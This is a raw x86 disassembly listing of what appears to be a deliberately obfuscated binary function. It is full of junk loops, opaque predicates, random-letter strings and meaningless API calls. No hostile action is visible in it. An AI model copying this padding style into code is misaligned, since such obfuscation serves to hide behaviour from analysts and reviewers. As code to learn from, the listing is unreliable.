mov dword [ebp - 0x34], 0x97f0a290
mov dword [ebp - 0x34], 0xbea12209
mov dword [ebp - 0x34], 0x9f361739
mov dword [ebp - 0x34], 0xbbdebf88
mov dword [ebp - 0x1e0], 9
mov dword [ebp - 0x1e8], 0xffff
mov dword [ebp - 0x1c], ebx
jmp 0x10029d4f
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x568], edi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x10029d42
push 1
push 0x4068
lea eax, [ebp - 0x1e0]
push eax
push ecx
call fcn.10025f47
add esp, 0xc
lea ecx, [ebp - 0x1e8]
push 0x87
push 1
call fcn.10024261
mov dword [ebp - 0x1b8], 4
add esp, 4
mov dword [ebp - 0x2c], 0x2fd4
mov edx, 0x58f0
mov dword [ebp - 0x210], 0xffffffff
mov dword [ebp - 0x208], ebx
mov dword [ebp - 0x200], ebx
mov dword [ebp - 0x34], 0xf9c77509
push 1
call fcn.10025ff6
add esp, 0xc
cmp dword [ebp - 0x2c], ebx
je 0x10029e87
push ecx
mov dword [ebp - 0x1f0], 0x897
lea edx, [ebp - 0x1f0]
push 1
call fcn.10026178
mov dword [ebp - 0x28], 0x6dc2
cmp dword [ebp - 0x28], 0x6e97
pop ecx
pop ecx
jle 0x10029e30
mov dword [ebp - 0x20], ebx
mov esi, ebx
mov edi, ebx
mov ebx, dword [ebp - 0x20]
lea eax, [edi + esi]
mov ecx, 0x100809d8
and eax, ebx
cdq
push edx
push eax
call fcn.10006801
inc edi
cmp edi, 0x7955
jl 0x10029dfb
inc esi
push 0
pop ebx
cmp esi, 0x6faa
jl 0x10029df6
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp eax, 0x58bd
jl 0x10029df4
mov dword [ebp - 4], 0x10
cmp dword [ebp - 0x28], 0x6baf
jge 0x10029e4f
mov edx, str.knujmnd_yhfqap_remjhq_edhuh
mov ecx, 0x100809d8
call fcn.1000b005
or dword [ebp - 4], 0xffffffff
push 0x44c4
push ecx
push 1
call fcn.100261d1
add esp, 0xc
jmp 0x10029ec9
push 0xaa6
push 0x72a9
lea eax, [ebp - 0x1f8]
mov dword [ebp - 0x1f8], ebx
push eax
push ebx
push 1
push 0x3840
lea eax, [ebp - 0x200]
xor cl, cl
push eax
lea eax, [ebp - 0x208]
push eax
push 0x21aa
lea edx, [ebp - 0x210]
call fcn.10027923
add esp, 0x24
mov al, byte [0x1007d6b8]
lea ecx, [ebp - 0x258]
push 1
mov dword [ebp - 0xfc], 0x1007d6b8
mov byte [ebp - 0x49], al
call fcn.10006b10
push ecx
push 1
push 1
push 0x4b08
push ecx
push 1
push ecx
push ecx
mov dword [ebp - 4], 0x12
lea edx, [ebp - 0x258]
mov dword [ebp - 0x2c], 7
lea ecx, [ebp - 0xa4]
push 0x5d1d
mov dword [ebp - 0x40], 0x5520f303
mov dword [ebp - 0x20], ebx
push 0x2f7
call fcn.100262a6
mov dword [ebp - 0x3c], 0x1415
add esp, 0x28
cmp dword [ebp - 0x3c], 0x17ec
jle 0x10029f9f
mov edi, ebx
mov dword [ebp - 0x5c], ebx
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x28], 0x6feb
mov esi, ebx
mov ecx, esi
mov eax, edi
shl eax, cl
lea ecx, [ebp - 0x4f0]
cdq
push edx
push eax
call fcn.10001ac9
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10029f6c
mov eax, dword [eax]
push eax
call fcn.1004e1ed
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x4f0]
call fcn.100073ae
inc esi
cmp esi, 0x421e
jl 0x10029f4e
dec edi
dec dword [ebp - 0x28]
jne 0x10029f4c
mov edi, dword [ebp - 0x5c]
inc edi
mov dword [ebp - 0x5c], edi
cmp edi, 0x1fd6
jl 0x10029f42
mov dword [ebp - 0xa4], ebx
jmp 0x10029fbe
mov eax, dword [ebp - 0xa4]
mov dword [ebp + eax*4 - 0x170], 0xffffffff
inc dword [ebp - 0xa4]
cmp dword [ebp - 0xa4], 2
jl 0x10029fa7
cmp dword [ebp - 0x3c], 0x1391
jge 0x10029fdb
push str.ersmkgb_ffbg_euajsbp_ekiaf_fndagupg_sohz_nifjdfixg_ajtp_lslwdwfj_tntiac_utuvau
call fcn.1004e1ed
pop ecx
push 0x188b
push 1
push 1
push 0x38e9
push 1
push 0x143c
mov edx, 0x5e89
mov dword [ebp - 4], 0x12
mov ecx, 0x30a4
call fcn.10026347
mov dword [ebp - 0x5c], 0x7d1a
add esp, 0x18
cmp dword [ebp - 0x5c], 0x7f4b
jle 0x1002a053
mov esi, ebx
mov dword [ebp - 0x28], ebx
mov edi, esi
mov esi, 0x8bf
mov eax, edi
mov ecx, 0x100809d8
cdq
push edx
push eax
call fcn.10006801
dec edi
dec esi
jne 0x1002a025
mov esi, dword [ebp - 0x28]
inc esi
mov dword [ebp - 0x28], esi
cmp esi, 0x7815
jl 0x1002a01e
push ebx
push 0x1d02
call dword [sym.imp.USER32.dll_ValidateRect]
mov eax, dword [ebp - 0x258]
mov esi, 0xc422d5fb
mov dword [eax], 0x15
mov dword [ebp - 0x30], 0x995f7626
mov dword [ebp - 0x1c], 0xf1e2cd84
mov eax, dword [ebp - 0x30]
cmp esi, eax
sbb eax, eax
neg eax
cmp eax, 0x522a
jl 0x1002a085
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
xor edx, edx
mov eax, dword [ebp - 0x170]
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x170]
mov eax, dword [ebp - 0x258]
cmp dword [eax], ecx
mov eax, dword [ebp - 0x30]
setne dl
imul eax, edx
cmp eax, dword [ebp - 0x40]
jle 0x1002a0b9
cmp dword [ebp - 0x20], ebx
je 0x1002a0b9
xor ecx, ecx
inc ecx
jmp 0x1002a0bb
mov ecx, ebx
xor eax, eax
cmp ecx, 0xfffa
setne al
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x170], ebx
je 0x1002a0e0
mov eax, dword [ebp - 0x16c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x258]
mov dword [ebp - 0x1c], 1
dec dword [eax]
cmp dword [eax], 6
jne 0x1002a064
mov byte [ebp - 4], 0x15
cmp dword [ebp - 0x5c], 0x7b8a
jge 0x1002a13b
mov edx, str.uskqxdql_czepyxqrc_ephg_ejfmnh_vjakaeqm_sxpeduti_xdfjwpjr_gjahivlcn_lrnekt_uqrzf_uhqzqny_gkyhb_wtm
mov ecx, 0x100809d8
call fcn.1000b005
jmp 0x1002a13b
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x258]
call fcn.10006b72
mov dword [ebp - 0x28], 0xe18
cmp dword [ebp - 0x28], 0xe6e
jle 0x1002a180
mov esi, ebx
mov edi, ebx
mov ebx, 0x1c6f
mov eax, edi
mov ecx, 0x100809d8
cdq
push edx
push eax
call fcn.10006801
add edi, esi
dec ebx
jne 0x1002a163
inc esi
cmp esi, 0x1fc9
jl 0x1002a15c
mov dl, byte [0x1007d5d8]
mov cl, byte [0x1007d6b8]
call fcn.1002cfe3
mov dword [ebp - 4], 0x17
cmp dword [ebp - 0x28], 0xaa8
mov byte [0x1007d6b8], al
jge 0x1002a1b5
mov edx, str.mxwerlmc_opkikfini_klq_sdohbusn_rhxfvtrz_qnyhkjc_kele_fdjrn_qgou_lteckgymy_awesgnoj
mov ecx, 0x100809d8
call fcn.1000b005
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0xd8], 4
lea ecx, [ebp - 0x3d8]
mov dword [ebp - 0xdc], 0xd850270f
mov dword [ebp - 0xe0], 1
push 1
call fcn.10006b10
mov eax, 0xc7fd579d
mov dword [ebp - 4], 0x19
mov dword [ebp - 0x298], eax
mov edx, 0x6bed
mov dword [ebp - 0x294], eax
mov dword [ebp - 0x290], eax
mov dword [ebp - 0x28c], eax
lea eax, [ebp - 0x470]
push eax
push 1
lea eax, [ebp - 0x3d8]
push 0x3942
push eax
call fcn.10026b64
add esp, 0xc
lea eax, [ebp - 0xdc]
mov edx, 0x7f15
push ebx
push eax
push ecx
lea eax, [ebp - 0xd8]
push 0x25f7
push eax
lea ecx, [ebp - 0xe0]
call fcn.100270f4
mov eax, dword [ebp - 0xdc]
add esp, 0x18
mov eax, dword [ebp - 0xdc]
mov ecx, 0x9531defc
mov eax, dword [ebp - 0xd8]
mov eax, dword [ebp - 0xe0]
mov eax, dword [ebp - 0x294]
cmp ecx, eax
mov ecx, dword [ebp - 0x3d8]
sbb eax, eax
xor edx, edx
inc eax
cmp eax, dword [ecx]
mov eax, dword [ebp - 0x294]
setle dl
sub edx, 0x1c1d
neg edx
sbb edx, edx
inc edx
mov dword [ecx], edx
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0xdc]
setge cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0xe0]
setge dl
sub edx, eax
mov eax, dword [ebp - 0x28c]
mov dword [ebp - 0x2c], edx
xor edx, edx
cmp dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0xd8]
setl dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x294]
setle cl
xor edx, edx
add ecx, 3
cmp ecx, eax
lea ecx, [ebp - 0x3d8]
setle dl
sub edx, 0xd905
mov dword [ebp - 0xd8], edx
or dword [ebp - 4], 0xffffffff
call fcn.10006b72
xor edi, edi
inc edi
push 1
push ecx
push ecx
mov edx, 0x7905
mov ecx, 0x225
call fcn.10026bc5
mov eax, edi
mov cl, byte [edi + 0x1007d6b8]
cdq
add esp, 0xc
idiv dword [ebp - 0xe8]
mov byte [ebp - 0x35], cl
mov esi, edx
mov dl, byte [ebp - 0x49]
call fcn.1002cfe3
mov dl, byte [esi + 0x1007d5d8]
mov cl, al
call fcn.1002cfe3
mov byte [edi + 0x1007d6b8], al
xor ecx, ecx
mov dword [ebp - 0x6c], 0xffffffff
inc ecx
mov dword [ebp - 0x28], ecx
push 0xfffffffffffffff8
pop eax
mov dword [ebp - 0x2ac], eax
mov dword [ebp - 0x2a8], eax
mov dword [ebp - 0x2a4], eax
mov dword [ebp - 0x2a0], eax
mov dword [ebp - 0x20], 0xffffffff
mov dword [ebp - 0x1c], ebx
jmp 0x1002a3b1
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x420], 0xf572
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1002a3a0
push 0x89f
push ecx
lea eax, [ebp - 0x6c]
push eax
push 0x215a
push ecx
call fcn.10026e0b
add esp, 0x14
mov dword [ebp - 0x6c], ebx
jmp 0x1002a45b
mov dword [ebp - 0x1c], 1
xor edx, edx
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp + eax*4 - 0x2ac]
mov ecx, dword [ebp - 0x418]
mov eax, dword [ebp - 0x1c]
cmp eax, ecx
setle dl
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x20]
neg eax
jne 0x1002a408
mov eax, dword [ebp - 0x41c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x28], ebx
je 0x1002a423
cmp dword [ebp - 0x20], ebx
je 0x1002a423
xor edx, edx
inc edx
jmp 0x1002a425
mov edx, ebx
mov eax, dword [ebp - 0x6c]
mov ecx, dword [ebp + eax*4 - 0x2ac]
mov eax, dword [ebp - 0x6c]
mov dword [ebp + eax*4 - 0x2ac], ecx
lea eax, [edx + ecx]
neg eax
sub eax, 0x9b3a
neg eax
sbb eax, eax
add eax, 0x98439e01
neg eax
sbb eax, eax
add eax, 0x8e65dd4e
mov dword [ebp - 0x1c], eax
inc dword [ebp - 0x6c]
cmp dword [ebp - 0x6c], 3
jle 0x1002a3d7
mov al, byte [ebp - 0x35]
inc edi
mov byte [ebp - 0x49], al
cmp edi, 4
jl 0x1002a302
push 2
pop edi
push edi
lea ecx, [ebp - 0x2e0]
call fcn.10006b10
push 1
lea ecx, [ebp - 0x2d4]
mov dword [ebp - 4], 0x1a
call fcn.10006b10
push 0x7f6a
push ecx
push 0x399d
push 0x5e1
push 1
lea eax, [ebp - 0x218]
mov byte [ebp - 4], 0x1b
push eax
push 0x58f5
push ecx
mov dword [ebp - 0x40], 0xffffffff
lea edx, [ebp - 0x2e0]
push 0xb07
mov ecx, 0x2dac
mov dword [ebp - 0x2c], ebx
call fcn.10026f03
add esp, 0x24
lea eax, [ebp - 0x218]
mov dl, 1
mov cl, dl
push eax
lea eax, [ebp - 0x2d4]
push eax
push 1
call fcn.10027076
mov eax, dword [ebp - 0x2e0]
add esp, 0xc
mov dword [eax], 0xffffffe2
cmp dword [eax], 0xffffffe6
jne 0x1002a763
mov dword [ebp - 0x24], 1
mov dword [ebp - 0xe4], 0x15e1abe8
mov dword [ebp - 0x20], 0x9d434678
mov dword [ebp - 0x3c], 0x4423
cmp dword [ebp - 0x3c], 0x472f
jle 0x1002a5ac
mov edi, ebx
mov dword [ebp - 0x5c], ebx
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x28], 0x698
mov esi, ebx
mov ecx, esi
mov eax, edi
sar eax, cl
lea ecx, [ebp - 0x5bc]
cdq
push edx
push eax
call fcn.10001ac9
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1002a565
mov eax, dword [eax]
push eax
call fcn.1004e1ed
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x5bc]
call fcn.100073ae
inc esi
cmp esi, 0x4299
jl 0x1002a547
dec edi
dec dword [ebp - 0x28]
jne 0x1002a545
mov edi, dword [ebp - 0x5c]
inc edi
mov dword [ebp - 0x5c], edi
cmp edi, 0x7fc5
jl 0x1002a53b
push ebx
push 0x12c
push 0xe1a
call dword [sym.imp.GDI32.dll_CreatePen]
push 2
pop edi
mov dword [ebp - 0x28], ebx
cmp dword [ebp - 0x3c], 0x4270
jge 0x1002a5c3
push str.tssjb_nktorzx_fxexpiht_olsc_ptxxdqmnw_mogoy_olm_oqqpdavta_qwiid
call fcn.1004e1ed
pop ecx
push 1
lea ecx, [ebp - 0x198]
mov dword [ebp - 4], 0x1b
call fcn.10006b10
mov byte [ebp - 4], 0x1e
mov dword [ebp - 0xac], ebx
jmp 0x1002a5fa
mov eax, dword [ebp - 0xac]
mov dword [ebp + eax*4 - 0x434], 1
inc dword [ebp - 0xac]
cmp dword [ebp - 0xac], 4
jl 0x1002a5e3
lea eax, [ebp - 0xac]
push eax
push ecx
push 1
push ecx
lea ecx, [ebp - 0x198]
call fcn.100242cb
add esp, 0x10
mov dword [ebp - 0x24], ebx
jmp 0x1002a6c5
mov dword [ebp - 0x28], 0x21c9b6cd
xor ecx, ecx
mov dword [ebp - 0x28], 1
mov dword [ebp - 0xe4], 0xffffffff
mov eax, dword [ebp - 0xe4]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x24]
cmp eax, 0x859495e
setg cl
imul ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x434]
imul edx, ecx, 0xbf35
xor ecx, ecx
cmp eax, edx
setge cl
mov dword [ebp - 0x28], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x434]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x2d4]
mov edx, dword [eax]
cmp edx, 0x32716399
setge cl
xor eax, eax
cmp ecx, edx
setge al
xor edx, edx
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp + eax*4 - 0x434]
mov eax, dword [ebp - 0x28]
cmp ecx, eax
mov eax, dword [ebp - 0x198]
sete dl
mov dword [eax], edx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 3
jle 0x1002a624
mov eax, dword [ebp - 0x2d4]
cmp dword [eax], ebx
je 0x1002a73b
push edi
lea ecx, [ebp - 0x39c]
call fcn.10006b10
mov byte [ebp - 4], 0x1f
mov dword [ebp - 0x1c], ebx
jmp 0x1002a701
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x39c]
mov dword [eax + ecx*4], 6
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x1002a6ee
push ecx
push 1
push 0x6490
push ecx
lea eax, [ebp - 0x39c]
mov ecx, 0x253d
push eax
push 0x7f6f
lea edx, [ebp - 0xe4]
call fcn.100270f4
add esp, 0x18
lea ecx, [ebp - 0x39c]
call fcn.10006b72
jmp 0x1002a747
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x198]
lea ecx, [ebp - 0x198]
mov byte [ebp - 4], 0x1b
call fcn.10006b72
mov eax, dword [ebp - 0x2e0]
inc dword [eax]
jmp 0x1002a505
lea ecx, [ebp - 0x2d4]
call fcn.10006b72
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2e0]
call fcn.10006b72
mov eax, dword [ebp - 0xfc]
lea ecx, [ebp - 0x408]
push 3
mov esi, dword [eax]
mov dword [ebp - 0x128], esi
mov dword [ebp - 0x220], 0xfffffff7
mov dword [ebp - 0x1a8], 0x96a162c9
mov dword [ebp - 0x260], 1
mov dword [ebp - 0x268], 0xf0d3ecf0
call fcn.10006b10
push ecx
lea eax, [ebp - 0x408]
mov dword [ebp - 4], 0x20
push eax
push ecx
push 0x1b86
push ecx
lea eax, [ebp - 0x224]
mov dword [ebp - 0x228], 0xb74a71a6
push 1
push eax
mov dword [ebp - 0x34], 0xbb66
call fcn.10024340
add esp, 0x1c
lea eax, [ebp - 0x220]
mov dl, 1
mov ecx, 0x559f
push ebx
push 0x4c0b
push 0x3733
push eax
push 1
lea eax, [ebp - 0x228]
push eax
lea eax, [ebp - 0x260]
push eax
lea eax, [ebp - 0x1a8]
push eax
lea eax, [ebp - 0x268]
push eax
lea eax, [ebp - 0x408]
push eax
call fcn.1002737c
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x408]
add esp, 0x28
call fcn.10006b72
lea eax, [esi - 1]
cmp eax, 0x280f
ja 0x1002c6d4
push ecx
push ecx
push ebx
lea eax, [ebp - 0xfc]
push eax
lea eax, [ebp - 0x1b8]
push eax
lea eax, [ebp - 0x128]
push eax
lea eax, [ebp - 0x270]
push eax
lea edx, [ebp - 0xe8]
lea ecx, [ebp - 0x49]
call fcn.100276e4
add esp, 0x1c
lea ecx, [ebp - 0x1a4]
push 1
call fcn.10006b10
push 0x1721
push 1
push ecx
lea eax, [ebp - 0x1a4]
mov dword [ebp - 4], 0x21
push eax
push ecx
lea eax, [ebp - 0xb0]
mov dword [ebp - 0x30], 0x662a2b3b
mov dword [ebp - 0x28], 0x223dec99
mov ecx, 0x7b63
push eax
call fcn.10024400
add esp, 0x18
mov dword [ebp - 0xb0], ebx
jmp 0x1002a8ed
mov eax, dword [ebp - 0xb0]
mov dword [ebp + eax*4 - 0x74], 0xffffffff
inc dword [ebp - 0xb0]
cmp dword [ebp - 0xb0], 1
jl 0x1002a8d9
mov dword [ebp - 0x74], ebx
cmp dword [ebp - 0x74], ebx
jl 0x1002a915
mov eax, dword [ebp - 0x74]
mov edx, dword [ebp - 0x74]
mov ecx, dword [ebp - 0x1a4]
mov eax, dword [ecx + eax*4]
mov dword [ecx + edx*4], eax
dec dword [ebp - 0x74]
jns 0x1002a8fe
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x1a4]
neg ecx
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, dword [eax]
mov eax, dword [ebp - 0x30]
setne dl
xor ecx, ecx
cmp edx, eax
setle cl
sub ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x2c], ecx
xor ecx, ecx
cmp dword [ebp - 0x2c], eax
setne cl
add ecx, 0x7ad5
jne 0x1002a95c
cmp dword [ebp - 0x30], ebx
jne 0x1002a95c
mov ecx, ebx
jmp 0x1002a95f
xor ecx, ecx
inc ecx
xor eax, eax
cmp ecx, 0xdb60
sete al
xor edx, edx
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x1a4]
mov ecx, dword [ebp - 0x74]
mov esi, dword [eax]
mov eax, dword [ebp - 0x30]
cmp eax, ecx
setg dl
xor eax, eax
cmp edx, esi
setne al
xor ecx, ecx
mov dword [ebp - 0x2c], eax
mov eax, 0x4ad3
sub eax, esi
cmp dword [ebp - 0x2c], eax
setle cl
mov dword [ebp - 0x74], ecx
lea ecx, [ebp - 0x1a4]
or dword [ebp - 4], 0xffffffff
call fcn.10006b72
push ecx
push ecx
push 0x1009a30c
xor dl, dl
call fcn.1002846d
mov eax, dword [ebp - 0xfc]
lea edx, [ebp - 0x7c]
add esp, 0xc
mov dword [ebp - 0x8c], 8
add eax, 4
mov dword [ebp - 0x7c], 0x6c516535
mov dword [ebp - 0x5c], eax
lea eax, [ebp - 0x8c]
mov dword [ebp - 0x84], ebx
push ebx
push ecx
push ecx
push eax
lea eax, [ebp - 0x84]
mov dword [ebp - 0x64], ebx
push eax
push ecx
mov dword [ebp - 0x20], 0xe0bbe0e2
lea ecx, [ebp - 0x64]
mov dword [ebp - 0x30], ebx
call fcn.10027e6f
add esp, 0x18
mov dword [ebp - 0x84], ebx
jmp 0x1002ad44
push dword [ebp - 0x224]
movdqa xmm0, xmmword [0x10073860]
lea eax, [ebp - 0x4b0]
push eax
lea eax, [ebp - 0x4c0]
mov dword [ebp - 0x68], 0x2ba7b7e8
push eax
push ebx
lea ecx, [ebp - 0x31c]
mov dword [ebp - 0x31c], ebx
movdqu xmmword [ebp - 0x4c0], xmm0
mov dword [ebp - 0x318], ebx
mov dword [ebp - 0x314], ebx
call fcn.1000bd43
mov dword [ebp - 4], 0x22
mov dword [ebp - 0x1c], ebx
jmp 0x1002aa81
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xec], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 1
jl 0x1002aa74
lea eax, [ebp - 0x84]
push eax
push ecx
lea eax, [ebp - 0x68]
push ebx
push eax
call fcn.1002552c
add esp, 0x10
mov dword [ebp - 0x8c], 0xfffffff6
jmp 0x1002ad22
push 3
lea ecx, [ebp - 0x304]
call fcn.10006b10
sub esp, 0x10
mov byte [ebp - 4], 0x23
lea eax, [ebp - 0xa0]
mov dword [ebp - 0x2c], 0xfffffff6
xor cl, cl
push eax
lea eax, [ebp - 0x304]
push eax
call fcn.10027c0e
add esp, 0x18
mov dword [ebp - 0xa0], ebx
jmp 0x1002aafd
mov eax, dword [ebp - 0xa0]
mov dword [ebp + eax*4 - 0x354], 0x461bcf2e
inc dword [ebp - 0xa0]
cmp dword [ebp - 0xa0], 3
jl 0x1002aae6
mov dword [ebp - 0x7c], 6
jmp 0x1002ad03
push edi
lea ecx, [ebp - 0x1b4]
call fcn.10006b10
push edi
lea ecx, [ebp - 0x360]
mov byte [ebp - 4], 0x24
call fcn.10006b10
push 0x54ed
lea eax, [ebp - 0x1c8]
mov byte [ebp - 4], 0x25
push eax
push 0x83d
push 0x620b
push 1
lea eax, [ebp - 0x1b4]
xor dl, dl
push eax
push 0x2698
mov cl, 1
call fcn.10025686
add esp, 0x18
lea edx, [ebp - 0x360]
lea ecx, [ebp - 0x1c8]
push ebx
call fcn.10028b42
pop ecx
pop ecx
mov dword [ebp - 0x64], ebx
jmp 0x1002acdd
mov dword [ebp - 0x24], 7
mov dword [ebp - 0x68], ebx
jmp 0x1002acd1
mov dword [ebp - 0x1c], 0x7b09b37d
mov dword [ebp - 0x20], 0x7d3709e8
mov dword [ebp - 0x1c], edi
cmp dword [ebp - 0x1c], ebx
jl 0x1002ac8f
mov dword [ebp - 0x28], 0x83dcdcbd
mov dword [ebp - 0x20], 1
cmp dword [ebp - 0x20], ebx
jne 0x1002abbd
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x64]
mov edx, dword [ebp - 0x64]
mov eax, dword [ebp - 0x1b4]
mov ecx, dword [ebp - 0x304]
push 0
inc dword [eax]
mov eax, dword [ebp - 0x68]
cmp eax, dword [ecx + edx*4]
mov eax, dword [ebp - 0x7c]
pop ecx
setle cl
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x1c]
setne dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x68]
setg cl
xor edx, edx
sub ecx, 0x6f09251f
cmp ecx, eax
mov eax, dword [ebp - 0x68]
setl dl
mov dword [ebp - 0x2c], edx
xor edx, edx
cmp eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x1b4]
setne dl
xor ecx, ecx
cmp dword [eax], edx
setle cl
xor edx, edx
mov dword [ebp - 0xec], ecx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0xec]
mov ecx, dword [ebp - 0x64]
mov eax, dword [ebp - 0x8c]
cmp ecx, eax
mov eax, dword [ebp - 0x28]
setne dl
imul eax, edx
cmp eax, dword [ebp - 0x20]
jl 0x1002ac50
cmp dword [ebp - 0x20], ebx
je 0x1002ac50
xor eax, eax
inc eax
jmp 0x1002ac52
mov eax, ebx
mov dword [ebp - 0x24], eax
xor edx, edx
mov ecx, dword [ebp - 0xec]
mov eax, dword [ebp - 0x24]
cmp eax, ecx
mov eax, dword [ebp - 0x1b4]
setge dl
mov dword [ebp - 0x20], edx
xor edx, edx
cmp dword [eax], 1
mov eax, dword [ebp - 0x20]
setge dl
xor ecx, ecx
cmp edx, eax
setge cl
mov dword [ebp - 0x350], ecx
dec dword [ebp - 0x1c]
jns 0x1002aba7
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
jne 0x1002acaa
mov eax, dword [ebp - 0x360]
cmp dword [eax + 4], 1
jb 0x1002acaa
mov edx, ebx
jmp 0x1002acad
xor edx, edx
inc edx
mov ecx, dword [ebp - 0x64]
mov eax, dword [ebp - 0x304]
mov dword [eax + ecx*4], edx
mov eax, dword [ebp - 0x350]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x350]
mov dword [ebp - 0x2c], eax
inc dword [ebp - 0x68]
cmp dword [ebp - 0x68], edi
jle 0x1002ab8d
inc dword [ebp - 0x64]
cmp dword [ebp - 0x64], edi
jle 0x1002ab7e
lea ecx, [ebp - 0x360]
call fcn.10006b72
lea ecx, [ebp - 0x1b4]
mov byte [ebp - 4], 0x23
call fcn.10006b72
inc dword [ebp - 0x7c]
cmp dword [ebp - 0x7c], 0x18
jl 0x1002ab12
lea ecx, [ebp - 0x304]
mov byte [ebp - 4], 0x22
call fcn.10006b72
inc dword [ebp - 0x8c]
cmp dword [ebp - 0x8c], 0x38
jle 0x1002aaab
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x31c]
call fcn.10006b72
dec dword [ebp - 0x84]
cmp dword [ebp - 0x84], 0xfffffff7
je 0x1002aa1f
mov dword [ebp - 0x34], 0xec3d
lea ecx, [ebp - 0x378]
mov dword [ebp - 0x34], 0x4d8e5ccc
push 1
call fcn.10006b10
xor edx, edx
mov dword [ebp - 4], 0x26
mov dword [ebp - 0x18], ebx
inc edx
jmp 0x1002ad8c
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x474], 0x394a2a4f
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x1002ad7b
mov dword [ebp - 0x18], ebx
jmp 0x1002ada6
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x378]
or dword [eax + ecx*4], 0xffffffff
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x1002ad96
lea eax, [ebp - 0x378]
push eax
push ecx
mov ecx, 0x52d2
call fcn.10027279
push 1
lea eax, [ebp - 0x87]
mov byte [ebp - 0x87], bl
push eax
push 0x4a95
push 0x244f
push 1
push 0x5cd4
push 0x7c9e
push 0x287f
push 0x1abc
push 0xad0
mov dl, 1
mov ecx, 0x1d5e
call fcn.1002737c
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x378]
add esp, 0x30
call fcn.10006b72
xor edx, edx
mov dword [ebp - 0x18], 0xc184
inc edx
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x1c], 0x11b9c6fe
cmp dword [ebp - 0x18], ebx
jne 0x1002ae5c
mov eax, dword [ebp - 0x18]
xor ecx, ecx
cmp eax, 0x5a63a74a
setle cl
mov dword [ebp - 0x20], ecx
mov ecx, dword [ebp - 0x20]
sub ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
neg ecx
sbb ecx, ecx
inc ecx
imul eax, ecx
mov ecx, ebx
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
add eax, dword [ebp - 0x18]
je 0x1002ae5e
mov ecx, edx
mov eax, dword [ebp - 0x18]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setne dl
xor ecx, ecx
cmp edx, eax
setne cl
xor edx, edx
test ecx, ecx
setle dl
sub edx, dword [ebp - 0x18]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
sub edx, dword [ebp - 0x18]
add edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
